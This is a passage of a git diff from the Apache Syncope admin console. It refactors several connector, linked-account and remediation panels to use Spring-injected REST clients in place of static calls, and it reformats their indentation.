org.apache.syncope.client.console.pages.BasePage; +import org.apache.syncope.client.console.rest.AuditRestClient; import org.apache.syncope.client.console.rest.ConnectorRestClient; +import org.apache.syncope.client.console.rest.ResourceRestClient; import org.apache.syncope.client.console.wicket.markup.html.bootstrap.dialog.BaseModal; import org.apache.syncope.client.console.wicket.markup.html.form.ActionLink; import org.apache.syncope.client.console.wicket.markup.html.form.ActionsPanel; @@ -56,13 +58,20 @@ import org.apache.wicket.model.IModel; import org.apache.wicket.model.Model; import org.apache.wicket.model.ResourceModel; +import org.apache.wicket.spring.injection.annot.SpringBean; public class ConnectorDirectoryPanel extends DirectoryPanel { private static final long serialVersionUID = 2041468935602350821L; - private String keyword; + @SpringBean + protected AuditRestClient auditRestClient; + + @SpringBean + protected ResourceRestClient resourceRestClient; + + protected String keyword; protected ConnectorDirectoryPanel(final String id, final ConnectorDirectoryPanel.Builder builder) { super(id, builder); @@ -76,8 +85,6 @@ protected ConnectorDirectoryPanel(final String id, final ConnectorDirectoryPanel setShowResultPanel(false); modal.size(Modal.Size.Large); initResultTable(); - - restClient = builder.restClient; } @Override @@ -96,7 +103,7 @@ public void onEvent(final IEvent event) { @Override protected ConnectorDataProvider dataProvider() { - dataProvider = new ConnectorDataProvider(rows, pageRef, keyword); + dataProvider = new ConnectorDataProvider(restClient, rows, pageRef, keyword); return dataProvider; } @@ -141,7 +148,8 @@ public void onClick(final AjaxRequestTarget target, final Serializable ignore) { final IModel model = new CompoundPropertyModel<>(modelObject); modal.setFormModel(model.getObject()); - target.add(modal.setContent(new ResourceWizardBuilder(modelObject, pageRef). + target.add(modal.setContent(new ResourceWizardBuilder( + modelObject, resourceRestClient, restClient, pageRef). build(BaseModal.CONTENT_ID, AjaxWizard.Mode.CREATE))); modal.header(new Model<>(MessageFormat.format(getString("resource.new"), @@ -159,17 +167,17 @@ public void onClick(final AjaxRequestTarget target, final Serializable ignore) { @Override public void onClick(final AjaxRequestTarget target, final Serializable ignore) { - ConnInstanceTO connInstance = ConnectorRestClient.read(((ConnInstanceTO) model.getObject()).getKey()); + ConnInstanceTO connInstance = restClient.read(((ConnInstanceTO) model.getObject()).getKey()); final IModel model = new CompoundPropertyModel<>(connInstance); modal.setFormModel(model); - target.add(modal.setContent(new ConnectorWizardBuilder(connInstance, pageRef). + target.add(modal.setContent(new ConnectorWizardBuilder(connInstance, restClient, pageRef). build(BaseModal.CONTENT_ID, SyncopeConsoleSession.get(). owns(IdMEntitlement.CONNECTOR_UPDATE, connInstance.getAdminRealm()) - ? AjaxWizard.Mode.EDIT - : AjaxWizard.Mode.READONLY))); + ? AjaxWizard.Mode.EDIT + : AjaxWizard.Mode.READONLY))); modal.header( new Model<>(MessageFormat.format(getString("connector.edit"), connInstance.getDisplayName()))); @@ -185,41 +193,41 @@ public void onClick(final AjaxRequestTarget target, final Serializable ignore) { @Override public void onClick(final AjaxRequestTarget target, final Serializable ignore) { - ConnInstanceTO modelObject = ConnectorRestClient.read(((ConnInstanceTO) model.getObject()).getKey()); - - target.add(altDefaultModal.setContent(new AuditHistoryModal<>( - AuditElements.EventCategoryType.LOGIC, - "ConnectorLogic", - modelObject, - IdMEntitlement.CONNECTOR_UPDATE) { - - private static final long serialVersionUID = -3225348282675513648L; - - @Override - protected void restore(final String json, final AjaxRequestTarget target) { - try { - ConnInstanceTO updated = MAPPER.readValue(json, ConnInstanceTO.class); - ConnectorRestClient.update(updated); - - SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); - } catch (Exception e) { - LOG.error("While restoring connector {}", - ((ConnInstanceTO) model.getObject()).getKey(), e); - SyncopeConsoleSession.get().onException(e); - } - ((BasePage) pageRef.getPage()).getNotificationPanel().refresh(target); - } - })); - - altDefaultModal.header( - new Model<>(MessageFormat.format(getString("connector.menu.history"), - ((ConnInstanceTO) model.getObject()).getDisplayName()))); - - altDefaultModal.show(true); + ConnInstanceTO modelObject = restClient.read(((ConnInstanceTO) model.getObject()).getKey()); + + target.add(altDefaultModal.setContent(new AuditHistoryModal<>( + AuditElements.EventCategoryType.LOGIC, + "ConnectorLogic", + modelObject, + IdMEntitlement.CONNECTOR_UPDATE, + auditRestClient) { + + private static final long serialVersionUID = -3225348282675513648L; + + @Override + protected void restore(final String json, final AjaxRequestTarget target) { + try { + ConnInstanceTO updated = MAPPER.readValue(json, ConnInstanceTO.class); + restClient.update(updated); + + SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); + } catch (Exception e) { + LOG.error("While restoring connector {}", ((ConnInstanceTO) model.getObject()).getKey(), e); + SyncopeConsoleSession.get().onException(e); + } + ((BasePage) pageRef.getPage()).getNotificationPanel().refresh(target); + } + })); + + altDefaultModal.header( + new Model<>(MessageFormat.format(getString("connector.menu.history"), + ((ConnInstanceTO) model.getObject()).getDisplayName()))); + + altDefaultModal.show(true); } - }, ActionLink.ActionType.VIEW_AUDIT_HISTORY, - String.format("%s,%s", IdMEntitlement.CONNECTOR_READ, IdRepoEntitlement.AUDIT_LIST)); + }, ActionLink.ActionType.VIEW_AUDIT_HISTORY, + String.format("%s,%s", IdMEntitlement.CONNECTOR_READ, IdRepoEntitlement.AUDIT_LIST)); panel.add(new ActionLink<>() { @@ -228,9 +236,10 @@ protected void restore(final String json, final AjaxRequestTarget target) { @Override public void onClick(final AjaxRequestTarget target, final Serializable ignore) { try { - ConnectorRestClient.delete(((ConnInstanceTO) model.getObject()).getKey()); + restClient.delete(((ConnInstanceTO) model.getObject()).getKey()); target.appendJavaScript(String.format("jsPlumb.remove('%s');", ((ConnInstanceTO) model.getObject()).getKey())); + SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); } catch (SyncopeClientException e) { LOG.error("While deleting resource {}", ((ConnInstanceTO) model.getObject()).getKey(), e); @@ -270,8 +279,8 @@ public static class Builder extends DirectoryPanel.Builder { - private static final long serialVersionUID = 1L; + private static final long serialVersionUID = -1328140415494501001L; + + @SpringBean + protected ConnectorRestClient connectorRestClient; public ConnidLocations(final String id, final Builder builder) { super(id, builder); @@ -112,7 +117,7 @@ public void onClick(final AjaxRequestTarget target, final Serializable ignore) { final IModel model = new CompoundPropertyModel<>(modelObject); modal.setFormModel(model); - target.add(modal.setContent(new ConnectorWizardBuilder(modelObject, pageRef). + target.add(modal.setContent(new ConnectorWizardBuilder(modelObject, connectorRestClient, pageRef). build(BaseModal.CONTENT_ID, AjaxWizard.Mode.CREATE))); modal.header(new Model<>(MessageFormat.format(getString("connector.new"), ignore))); @@ -129,21 +134,6 @@ protected Collection getBatches() { return Collections.emptyList(); } - public abstract static class Builder - extends DirectoryPanel.Builder { - - private static final long serialVersionUID = 4448348557808690524L; - - public Builder(final PageReference pageRef) { - super(null, pageRef); - } - - @Override - protected WizardMgtPanel newInstance(final String id, final boolean wizardInModal) { - return new ConnidLocations(id, this); - } - } - protected static class ConnidLocationsDataProvider extends DirectoryDataProvider { private static final long serialVersionUID = 3161906945317209169L; @@ -168,4 +158,19 @@ public IModel model(final Serializable object) { return new CompoundPropertyModel<>(object); } } + + public abstract static class Builder + extends DirectoryPanel.Builder { + + private static final long serialVersionUID = 4448348557808690524L; + + public Builder(final PageReference pageRef) { + super(null, pageRef); + } + + @Override + protected WizardMgtPanel newInstance(final String id, final boolean wizardInModal) { + return new ConnidLocations(id, this); + } + } } diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/panels/LinkedAccountModalPanel.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/panels/LinkedAccountModalPanel.java index c3397359363..242009f4886 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/panels/LinkedAccountModalPanel.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/panels/LinkedAccountModalPanel.java @@ -31,6 +31,7 @@ import org.apache.syncope.client.console.layout.LinkedAccountFormLayoutInfo; import org.apache.syncope.client.console.pages.BasePage; import org.apache.syncope.client.console.rest.AnyTypeRestClient; +import org.apache.syncope.client.console.rest.RoleRestClient; import org.apache.syncope.client.console.rest.UserRestClient; import org.apache.syncope.client.console.status.LinkedAccountStatusPanel; import org.apache.syncope.client.console.status.ReconTaskPanel; @@ -64,6 +65,7 @@ import org.apache.wicket.model.IModel; import org.apache.wicket.model.Model; import org.apache.wicket.model.StringResourceModel; +import org.apache.wicket.spring.injection.annot.SpringBean; import org.slf4j.Logger; import org.slf4j.LoggerFactory; @@ -71,19 +73,26 @@ public class LinkedAccountModalPanel extends Panel implements ModalPanel { private static final long serialVersionUID = -4603032036433309900L; - private static final Logger LOG = LoggerFactory.getLogger(LinkedAccountModalPanel.class); + protected static final Logger LOG = LoggerFactory.getLogger(LinkedAccountModalPanel.class); - private LinkedAccountForm wizard; + @SpringBean + protected AnyTypeRestClient anyTypeRestClient; - private final WizardMgtPanel list; + @SpringBean + protected RoleRestClient roleRestClient; + + @SpringBean + protected UserRestClient userRestClient; + + protected LinkedAccountForm wizard; + + protected final WizardMgtPanel list; private final AjaxLink addAjaxLink; protected ActionLinksTogglePanel actionTogglePanel; - private UserRestClient userRestClient = new UserRestClient(); - - private final List linkedAccountTOs; + protected final List linkedAccountTOs; @SuppressWarnings("unchecked") public LinkedAccountModalPanel( @@ -102,34 +111,40 @@ public LinkedAccountModalPanel( add(actionTogglePanel); AnyLayout anyLayout = AnyLayoutUtils.fetch( - AnyTypeRestClient.listAnyTypes().stream().map(AnyTypeTO::getKey).collect(Collectors.toList())); + roleRestClient, + anyTypeRestClient.listAnyTypes().stream().map(AnyTypeTO::getKey).collect(Collectors.toList())); LinkedAccountFormLayoutInfo linkedAccountFormLayoutInfo = anyLayout.getUser() instanceof IdMUserFormLayoutInfo ? IdMUserFormLayoutInfo.class.cast(anyLayout.getUser()).getLinkedAccountFormLayoutInfo() : new LinkedAccountFormLayoutInfo(); try { - wizard = linkedAccountFormLayoutInfo.getFormClass(). - getConstructor(model.getClass(), LinkedAccountFormLayoutInfo.class, PageReference.class). - newInstance(model, linkedAccountFormLayoutInfo, pageRef); + wizard = linkedAccountFormLayoutInfo.getFormClass().getConstructor( + IModel.class, + LinkedAccountFormLayoutInfo.class, + UserRestClient.class, + AnyTypeRestClient.class, + PageReference.class). + newInstance(model, linkedAccountFormLayoutInfo, userRestClient, anyTypeRestClient, pageRef); } catch (Exception e) { LOG.error("Error instantiating form layout", e); - wizard = new LinkedAccountWizardBuilder(model, linkedAccountFormLayoutInfo, pageRef); + wizard = new LinkedAccountWizardBuilder( + model, linkedAccountFormLayoutInfo, userRestClient, anyTypeRestClient, pageRef); } ListViewPanel.Builder builder = new ListViewPanel.Builder<>( - LinkedAccountTO.class, pageRef) { + LinkedAccountTO.class, pageRef) { private static final long serialVersionUID = -5322423525438435153L; @Override protected LinkedAccountTO getActualItem(final LinkedAccountTO item, final List list) { return item == null - ? null - : list.stream().filter( - in -> ((item.getKey() == null && in.getKey() == null) - || (in.getKey() != null && in.getKey().equals(item.getKey())))). - findAny().orElse(null); + ? null + : list.stream().filter( + in -> ((item.getKey() == null && in.getKey() == null) + || (in.getKey() != null && in.getKey().equals(item.getKey())))). + findAny().orElse(null); } @Override @@ -196,12 +211,12 @@ public void onClick(final AjaxRequestTarget target, final LinkedAccountTO linked linkedAccountTO.getResource(), model.getObject().getType(), linkedAccountTO.getConnObjectKeyValue()), - target); + target); target.add(mlp); ((BasePage) pageRef.getPage()).getNotificationPanel().refresh(target); send(LinkedAccountModalPanel.this, Broadcast.BREADTH, - new ActionLinksTogglePanel.ActionLinkToggleCloseEventPayload(target)); + new ActionLinksTogglePanel.ActionLinkToggleCloseEventPayload(target)); } }, ActionLink.ActionType.VIEW, IdRepoEntitlement.USER_READ); @@ -214,9 +229,9 @@ public void onClick(final AjaxRequestTarget target, final LinkedAccountTO linked public void onClick(final AjaxRequestTarget target, final LinkedAccountTO linkedAccountTO) { try { send(LinkedAccountModalPanel.this, Broadcast.DEPTH, - new AjaxWizard.NewItemActionEvent<>(linkedAccountTO, 1, target). - setResourceModel(new StringResourceModel("inner.edit.linkedAccount", - LinkedAccountModalPanel.this, Model.of(linkedAccountTO)))); + new AjaxWizard.NewItemActionEvent<>(linkedAccountTO, 1, target). + setTitleModel(new StringResourceModel("inner.edit.linkedAccount", + LinkedAccountModalPanel.this, Model.of(linkedAccountTO)))); } catch (SyncopeClientException e) { LOG.error("While attempting to create new linked account", e); SyncopeConsoleSession.get().onException(e); @@ -224,7 +239,7 @@ public void onClick(final AjaxRequestTarget target, final LinkedAccountTO linked } send(LinkedAccountModalPanel.this, Broadcast.BREADTH, - new ActionLinksTogglePanel.ActionLinkToggleCloseEventPayload(target)); + new ActionLinksTogglePanel.ActionLinkToggleCloseEventPayload(target)); } }, ActionLink.ActionType.EDIT, IdRepoEntitlement.USER_UPDATE); @@ -237,8 +252,8 @@ public void onClick(final AjaxRequestTarget target, final LinkedAccountTO linked try { linkedAccountTO.setSuspended(!linkedAccountTO.isSuspended()); LinkedAccountUR linkedAccountUR = new LinkedAccountUR.Builder(). - operation(PatchOperation.ADD_REPLACE). - linkedAccountTO(linkedAccountTO).build(); + operation(PatchOperation.ADD_REPLACE). + linkedAccountTO(linkedAccountTO).build(); UserUR req = new UserUR(); req.setKey(model.getObject().getKey()); @@ -261,55 +276,55 @@ public void onClick(final AjaxRequestTarget target, final LinkedAccountTO linked builder.addAction(new ActionLink<>() { - private static final long serialVersionUID = 2555747430358755813L; - - @Override - public void onClick(final AjaxRequestTarget target, final LinkedAccountTO linkedAccountTO) { - mlp.next("PUSH " + linkedAccountTO.getResource(), - new ReconTaskPanel( - linkedAccountTO.getResource(), - new PushTaskTO(), - model.getObject().getType(), - null, - ConnIdSpecialName.UID + "==" + linkedAccountTO.getConnObjectKeyValue(), - true, - mlp, - pageRef), - target); - target.add(mlp); - - ((BasePage) pageRef.getPage()).getNotificationPanel().refresh(target); - send(LinkedAccountModalPanel.this, Broadcast.BREADTH, - new ActionLinksTogglePanel.ActionLinkToggleCloseEventPayload(target)); - } - }, ActionLink.ActionType.RECONCILIATION_PUSH, - String.format("%s,%s", IdRepoEntitlement.USER_READ, IdRepoEntitlement.TASK_EXECUTE)); + private static final long serialVersionUID = 2555747430358755813L; + + @Override + public void onClick(final AjaxRequestTarget target, final LinkedAccountTO linkedAccountTO) { + mlp.next("PUSH " + linkedAccountTO.getResource(), + new ReconTaskPanel( + linkedAccountTO.getResource(), + new PushTaskTO(), + model.getObject().getType(), + null, + ConnIdSpecialName.UID + "==" + linkedAccountTO.getConnObjectKeyValue(), + true, + mlp, + pageRef), + target); + target.add(mlp); + + ((BasePage) pageRef.getPage()).getNotificationPanel().refresh(target); + send(LinkedAccountModalPanel.this, Broadcast.BREADTH, + new ActionLinksTogglePanel.ActionLinkToggleCloseEventPayload(target)); + } + }, ActionLink.ActionType.RECONCILIATION_PUSH, + String.format("%s,%s", IdRepoEntitlement.USER_READ, IdRepoEntitlement.TASK_EXECUTE)); builder.addAction(new ActionLink<>() { - private static final long serialVersionUID = 2555747430358755813L; - - @Override - public void onClick(final AjaxRequestTarget target, final LinkedAccountTO linkedAccountTO) { - mlp.next("PULL " + linkedAccountTO.getResource(), - new ReconTaskPanel( - linkedAccountTO.getResource(), - new PullTaskTO(), - model.getObject().getType(), - null, - ConnIdSpecialName.UID + "==" + linkedAccountTO.getConnObjectKeyValue(), - true, - mlp, - pageRef), - target); - target.add(mlp); - - ((BasePage) pageRef.getPage()).getNotificationPanel().refresh(target); - send(LinkedAccountModalPanel.this, Broadcast.BREADTH, - new ActionLinksTogglePanel.ActionLinkToggleCloseEventPayload(target)); - } - }, ActionLink.ActionType.RECONCILIATION_PULL, - String.format("%s,%s", IdRepoEntitlement.USER_READ, IdRepoEntitlement.TASK_EXECUTE)); + private static final long serialVersionUID = 2555747430358755813L; + + @Override + public void onClick(final AjaxRequestTarget target, final LinkedAccountTO linkedAccountTO) { + mlp.next("PULL " + linkedAccountTO.getResource(), + new ReconTaskPanel( + linkedAccountTO.getResource(), + new PullTaskTO(), + model.getObject().getType(), + null, + ConnIdSpecialName.UID + "==" + linkedAccountTO.getConnObjectKeyValue(), + true, + mlp, + pageRef), + target); + target.add(mlp); + + ((BasePage) pageRef.getPage()).getNotificationPanel().refresh(target); + send(LinkedAccountModalPanel.this, Broadcast.BREADTH, + new ActionLinksTogglePanel.ActionLinkToggleCloseEventPayload(target)); + } + }, ActionLink.ActionType.RECONCILIATION_PULL, + String.format("%s,%s", IdRepoEntitlement.USER_READ, IdRepoEntitlement.TASK_EXECUTE)); if (!recounciliationOnly) { builder.addAction(new ActionLink<>() { @@ -320,8 +335,8 @@ public void onClick(final AjaxRequestTarget target, final LinkedAccountTO linked public void onClick(final AjaxRequestTarget target, final LinkedAccountTO linkedAccountTO) { try { LinkedAccountUR linkedAccountUR = new LinkedAccountUR.Builder(). - operation(PatchOperation.DELETE). - linkedAccountTO(linkedAccountTO).build(); + operation(PatchOperation.DELETE). + linkedAccountTO(linkedAccountTO).build(); UserUR req = new UserUR(); req.setKey(model.getObject().getKey()); @@ -356,12 +371,12 @@ public void onClick(final AjaxRequestTarget target, final LinkedAccountTO linked @Override public void onClick(final AjaxRequestTarget target) { send(LinkedAccountModalPanel.this, Broadcast.BREADTH, - new ActionLinksTogglePanel.ActionLinkToggleCloseEventPayload(target)); + new ActionLinksTogglePanel.ActionLinkToggleCloseEventPayload(target)); // this opens the wizard (set above) in CREATE mode send(list, Broadcast.DEPTH, new AjaxWizard.NewItemActionEvent<>(new LinkedAccountTO(), target). - setResourceModel( - new StringResourceModel("inner.create.linkedAccount", LinkedAccountModalPanel.this))); + setTitleModel( + new StringResourceModel("inner.create.linkedAccount", LinkedAccountModalPanel.this))); } }; list.addOrReplaceInnerObject(addAjaxLink.setEnabled(!recounciliationOnly).setVisible(!recounciliationOnly)); diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/panels/ProvisionAuxClassesPanel.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/panels/ProvisionAuxClassesPanel.java index 9025e07afcb..cd5391339c2 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/panels/ProvisionAuxClassesPanel.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/panels/ProvisionAuxClassesPanel.java @@ -36,6 +36,7 @@ import org.apache.wicket.model.PropertyModel; import org.apache.wicket.model.ResourceModel; import org.apache.wicket.model.util.ListModel; +import org.apache.wicket.spring.injection.annot.SpringBean; import org.slf4j.Logger; import org.slf4j.LoggerFactory; @@ -45,7 +46,16 @@ public class ProvisionAuxClassesPanel extends Panel { private static final Logger LOG = LoggerFactory.getLogger(ProvisionAuxClassesPanel.class); - private final Provision provision; + @SpringBean + protected AnyTypeRestClient anyTypeRestClient; + + @SpringBean + protected AnyTypeClassRestClient anyTypeClassRestClient; + + @SpringBean + protected SchemaRestClient schemaRestClient; + + protected final Provision provision; public ProvisionAuxClassesPanel(final String id, final Provision provision) { super(id); @@ -69,12 +79,12 @@ protected void onBeforeRender() { choices = new ArrayList<>(); try { - anyType = AnyTypeRestClient.read(provision.getAnyType()); + anyType = anyTypeRestClient.read(provision.getAnyType()); } catch (Exception e) { LOG.error("Could not read AnyType {}", provision.getAnyType(), e); } if (anyType != null) { - for (AnyTypeClassTO aux : AnyTypeClassRestClient.list()) { + for (AnyTypeClassTO aux : anyTypeClassRestClient.list()) { if (!anyType.getClasses().contains(aux.getKey())) { choices.add(aux.getKey()); } @@ -96,11 +106,11 @@ protected void onBeforeRender() { addOrReplace(uidOnCreate); } - private static List getSchemas(final AnyTypeTO anyType, final List anyTypeClasses) { + protected List getSchemas(final AnyTypeTO anyType, final List anyTypeClasses) { List classes = new ArrayList<>(anyType.getClasses()); classes.addAll(anyTypeClasses); - return SchemaRestClient.getSchemas( + return schemaRestClient.getSchemas( SchemaType.PLAIN, null, classes.toArray(String[]::new)). stream().map(PlainSchemaTO::getKey).collect(Collectors.toList()); } diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/panels/RemediationDirectoryPanel.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/panels/RemediationDirectoryPanel.java index aa06eefe61f..3d937cb5dd8 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/panels/RemediationDirectoryPanel.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/panels/RemediationDirectoryPanel.java @@ -26,6 +26,7 @@ import java.util.List; import org.apache.commons.lang3.StringUtils; import org.apache.syncope.client.console.SyncopeConsoleSession; +import org.apache.syncope.client.console.commons.DirectoryDataProvider; import org.apache.syncope.client.console.commons.IdMConstants; import org.apache.syncope.client.console.layout.AnyLayoutUtils; import org.apache.syncope.client.console.layout.AnyObjectFormLayoutInfo; @@ -37,6 +38,7 @@ import org.apache.syncope.client.console.rest.AnyTypeRestClient; import org.apache.syncope.client.console.rest.GroupRestClient; import org.apache.syncope.client.console.rest.RemediationRestClient; +import org.apache.syncope.client.console.rest.RoleRestClient; import org.apache.syncope.client.console.rest.UserRestClient; import org.apache.syncope.client.console.wicket.extensions.markup.html.repeater.data.table.DatePropertyColumn; import org.apache.syncope.client.console.wicket.extensions.markup.html.repeater.data.table.KeyPropertyColumn; @@ -47,7 +49,6 @@ import org.apache.syncope.client.console.wizards.any.GroupWizardBuilder; import org.apache.syncope.client.console.wizards.any.UserWizardBuilder; import org.apache.syncope.client.ui.commons.Constants; -import org.apache.syncope.client.ui.commons.DirectoryDataProvider; import org.apache.syncope.client.ui.commons.wizards.AjaxWizard; import org.apache.syncope.client.ui.commons.wizards.any.AnyWrapper; import org.apache.syncope.common.lib.AnyOperations; @@ -81,20 +82,38 @@ import org.apache.wicket.model.IModel; import org.apache.wicket.model.ResourceModel; import org.apache.wicket.model.StringResourceModel; +import org.apache.wicket.spring.injection.annot.SpringBean; public class RemediationDirectoryPanel extends DirectoryPanel { private static final long serialVersionUID = 8525204188127106587L; - public RemediationDirectoryPanel(final String id, final PageReference pageReference) { - super(id, pageReference, true); + @SpringBean + protected AnyTypeRestClient anyTypeRestClient; + + @SpringBean + protected RoleRestClient roleRestClient; + + @SpringBean + protected UserRestClient userRestClient; + + @SpringBean + protected GroupRestClient groupRestClient; + + @SpringBean + protected AnyObjectRestClient anyObjectRestClient; + + public RemediationDirectoryPanel( + final String id, + final RemediationRestClient restClient, + final PageReference pageRef) { + + super(id, restClient, pageRef, true); disableCheckBoxes(); setFooterVisibility(false); modal.size(Modal.Size.Large); - restClient = new RemediationRestClient(); - initResultTable(); MetaDataRoleAuthorizationStrategy.authorize(addAjaxLink, RENDER, IdMEntitlement.REMEDIATION_REMEDY); @@ -153,7 +172,8 @@ public void onClick(final AjaxRequestTarget target, final RemediationTO ignore) @Override public void onClick(final AjaxRequestTarget target, final RemediationTO ignore) { try { - RemediationRestClient.remedy(model.getObject().getKey(), model.getObject().getKeyPayload()); + restClient.remedy(model.getObject().getKey(), model.getObject().getKeyPayload()); + SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); target.add(container); } catch (SyncopeClientException e) { @@ -198,21 +218,21 @@ public void onClick(final AjaxRequestTarget target, final RemediationTO ignore) EntityTOUtils.toAnyTO(remediationTO.getAnyCRPayload(), newUserTO); previousUserTO = null; } else { - previousUserTO = new UserRestClient(). - read(remediationTO.getAnyURPayload().getKey()); + previousUserTO = userRestClient.read(remediationTO.getAnyURPayload().getKey()); newUserTO = AnyOperations.patch( - previousUserTO, (UserUR) remediationTO.getAnyURPayload()); + previousUserTO, (UserUR) remediationTO.getAnyURPayload()); } AjaxWizard.EditItemActionEvent userEvent = - new AjaxWizard.EditItemActionEvent<>(newUserTO, target); + new AjaxWizard.EditItemActionEvent<>(newUserTO, target); userEvent.forceModalPanel(new RemediationUserWizardBuilder( - model.getObject(), - previousUserTO, - newUserTO, - AnyTypeRestClient.read(remediationTO.getAnyType()).getClasses(), - AnyLayoutUtils.fetch(List.of(remediationTO.getAnyType())).getUser(), - pageRef + model.getObject(), + previousUserTO, + newUserTO, + anyTypeRestClient.read(remediationTO.getAnyType()).getClasses(), + AnyLayoutUtils.fetch(roleRestClient, List.of(remediationTO.getAnyType())).getUser(), + userRestClient, + pageRef ).build(BaseModal.CONTENT_ID, AjaxWizard.Mode.EDIT)); send(RemediationDirectoryPanel.this, Broadcast.EXACT, userEvent); break; @@ -225,21 +245,21 @@ public void onClick(final AjaxRequestTarget target, final RemediationTO ignore) EntityTOUtils.toAnyTO(remediationTO.getAnyCRPayload(), newGroupTO); previousGroupTO = null; } else { - previousGroupTO = new GroupRestClient(). - read(remediationTO.getAnyURPayload().getKey()); + previousGroupTO = groupRestClient.read(remediationTO.getAnyURPayload().getKey()); newGroupTO = AnyOperations.patch( - previousGroupTO, (GroupUR) remediationTO.getAnyURPayload()); + previousGroupTO, (GroupUR) remediationTO.getAnyURPayload()); } AjaxWizard.EditItemActionEvent groupEvent = - new AjaxWizard.EditItemActionEvent<>(newGroupTO, target); + new AjaxWizard.EditItemActionEvent<>(newGroupTO, target); groupEvent.forceModalPanel(new RemediationGroupWizardBuilder( - model.getObject(), - previousGroupTO, - newGroupTO, - AnyTypeRestClient.read(remediationTO.getAnyType()).getClasses(), - AnyLayoutUtils.fetch(List.of(remediationTO.getAnyType())).getGroup(), - pageRef + model.getObject(), + previousGroupTO, + newGroupTO, + anyTypeRestClient.read(remediationTO.getAnyType()).getClasses(), + AnyLayoutUtils.fetch( + roleRestClient, List.of(remediationTO.getAnyType())).getGroup(), + pageRef ).build(BaseModal.CONTENT_ID, AjaxWizard.Mode.EDIT)); send(RemediationDirectoryPanel.this, Broadcast.EXACT, groupEvent); break; @@ -252,22 +272,22 @@ public void onClick(final AjaxRequestTarget target, final RemediationTO ignore) EntityTOUtils.toAnyTO(remediationTO.getAnyCRPayload(), newAnyObjectTO); previousAnyObjectTO = null; } else { - previousAnyObjectTO = new AnyObjectRestClient(). - read(remediationTO.getAnyURPayload().getKey()); + previousAnyObjectTO = anyObjectRestClient. + read(remediationTO.getAnyURPayload().getKey()); newAnyObjectTO = AnyOperations.patch( - previousAnyObjectTO, (AnyObjectUR) remediationTO.getAnyURPayload()); + previousAnyObjectTO, (AnyObjectUR) remediationTO.getAnyURPayload()); } AjaxWizard.EditItemActionEvent anyObjectEvent = - new AjaxWizard.EditItemActionEvent<>(newAnyObjectTO, target); + new AjaxWizard.EditItemActionEvent<>(newAnyObjectTO, target); anyObjectEvent.forceModalPanel(new RemediationAnyObjectWizardBuilder( - model.getObject(), - previousAnyObjectTO, - newAnyObjectTO, - AnyTypeRestClient.read(remediationTO.getAnyType()).getClasses(), - AnyLayoutUtils.fetch(List.of(remediationTO.getAnyType())).getAnyObjects(). - get(remediationTO.getAnyType()), - pageRef + model.getObject(), + previousAnyObjectTO, + newAnyObjectTO, + anyTypeRestClient.read(remediationTO.getAnyType()).getClasses(), + AnyLayoutUtils.fetch(roleRestClient, List.of(remediationTO.getAnyType())). + getAnyObjects().get(remediationTO.getAnyType()), + pageRef ).build(BaseModal.CONTENT_ID, AjaxWizard.Mode.EDIT)); send(RemediationDirectoryPanel.this, Broadcast.EXACT, anyObjectEvent); } @@ -282,7 +302,8 @@ public void onClick(final AjaxRequestTarget target, final RemediationTO ignore) @Override public void onClick(final AjaxRequestTarget target, final RemediationTO ignore) { try { - RemediationRestClient.delete(model.getObject().getKey()); + restClient.delete(model.getObject().getKey()); + SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); target.add(container); } catch (SyncopeClientException e) { @@ -311,7 +332,7 @@ protected Collection getBatches() { return List.of(); } - public static class RemediationProvider extends DirectoryDataProvider { + public class RemediationProvider extends DirectoryDataProvider { private static final long serialVersionUID = -2311716167583335852L; @@ -324,13 +345,13 @@ public RemediationProvider(final int paginatorRows) { @Override public Iterator iterator(final long first, final long count) { int page = ((int) first / paginatorRows); - return RemediationRestClient.getRemediations((page < 0 ? 0 : page) + 1, - paginatorRows, getSort()).iterator(); + return restClient.getRemediations((page < 0 ? 0 : page) + 1, + paginatorRows, getSort()).iterator(); } @Override public long size() { - return RemediationRestClient.countRemediations(); + return restClient.countRemediations(); } @Override @@ -347,7 +368,7 @@ public RemediationTO getObject() { } } - private static class RemediationUserWizardBuilder extends UserWizardBuilder { + private class RemediationUserWizardBuilder extends UserWizardBuilder { private static final long serialVersionUID = 6840699724316612700L; @@ -361,9 +382,10 @@ private static class RemediationUserWizardBuilder extends UserWizardBuilder { final UserTO userTO, final List anyTypeClasses, final UserFormLayoutInfo formLayoutInfo, + final UserRestClient userRestClient, final PageReference pageRef) { - super(previousUserTO, userTO, anyTypeClasses, formLayoutInfo, pageRef); + super(previousUserTO, userTO, anyTypeClasses, formLayoutInfo, userRestClient, pageRef); this.previousUserTO = previousUserTO; this.remediationTO = remediationTO; } @@ -378,7 +400,7 @@ protected Serializable onApplyInternal(final AnyWrapper modelObject) { UserCR req = new UserCR(); EntityTOUtils.toAnyCR(inner, req); - result = RemediationRestClient.remedy(remediationTO.getKey(), req); + result = restClient.remedy(remediationTO.getKey(), req); } else { UserUR req = AnyOperations.diff(inner, previousUserTO, false); @@ -394,7 +416,7 @@ protected Serializable onApplyInternal(final AnyWrapper modelObject) { result = new ProvisioningResult<>(); result.setEntity(inner); } else { - result = RemediationRestClient.remedy(remediationTO.getKey(), req); + result = restClient.remedy(remediationTO.getKey(), req); } } @@ -402,7 +424,7 @@ protected Serializable onApplyInternal(final AnyWrapper modelObject) { } } - private static class RemediationGroupWizardBuilder extends GroupWizardBuilder { + private class RemediationGroupWizardBuilder extends GroupWizardBuilder { private static final long serialVersionUID = -5233791906979150786L; @@ -433,7 +455,7 @@ protected Serializable onApplyInternal(final AnyWrapper modelObject) { GroupCR req = new GroupCR(); EntityTOUtils.toAnyCR(inner, req); 